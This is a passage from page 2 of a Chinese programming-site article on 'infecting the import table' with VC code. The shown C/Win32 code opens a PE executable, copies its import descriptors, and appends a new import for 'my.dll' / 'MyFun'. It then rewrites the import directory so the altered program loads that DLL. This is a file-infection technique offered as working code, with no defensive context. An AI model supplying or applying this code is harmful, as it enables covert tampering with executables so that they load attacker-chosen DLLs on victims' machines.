设为首页 加入收藏

TOP

一段感染引入表的vc代码(二)
2014-11-23 20:26:22 来源: 作者: 【 】 浏览:95
Tags:感染 引入 代码
rToRawData+sectionHeader->Misc.VirtualSize);
printf("%x ",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
printf("%d ",sizeof(IMAGE_IMPORT_DESCRIPTOR));
ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
i=0;
while(ImportDec->FirstThunk)
{
*newImport=*ImportDec;
i++;
ImportDec++;
newImport++;
}
IMAGE_IMPORT_DESCRIPTOR myImport;
char *name="my.dll";
myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
myImport.TimeDateStamp=0;
myImport.ForwarderChain=0;
myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
*newImport=myImport;
newImport++;
memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
newImport++;
memcpy((char*)newImport,name,strlen(name)+1);
DWORD newThunk;
newThunk=(DWORD)newImport+20;
*(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);
memset((void*)(newThunk+4),0,4);
newThunk=newThunk+8;
WORD hint=0x00;
*(WORD*)newThunk=hint;
newThunk=newThunk+sizeof(WORD);
char *funname="MyFun";
memcpy((char*)newThunk,funname,strlen(funname)+2);
ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;
FlushViewOfFile(lpBase,0);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}

首页 上一页 1 2 下一页 尾页 2/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇VC++批量注释小技巧 下一篇用VC生成最小的EXE文件

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: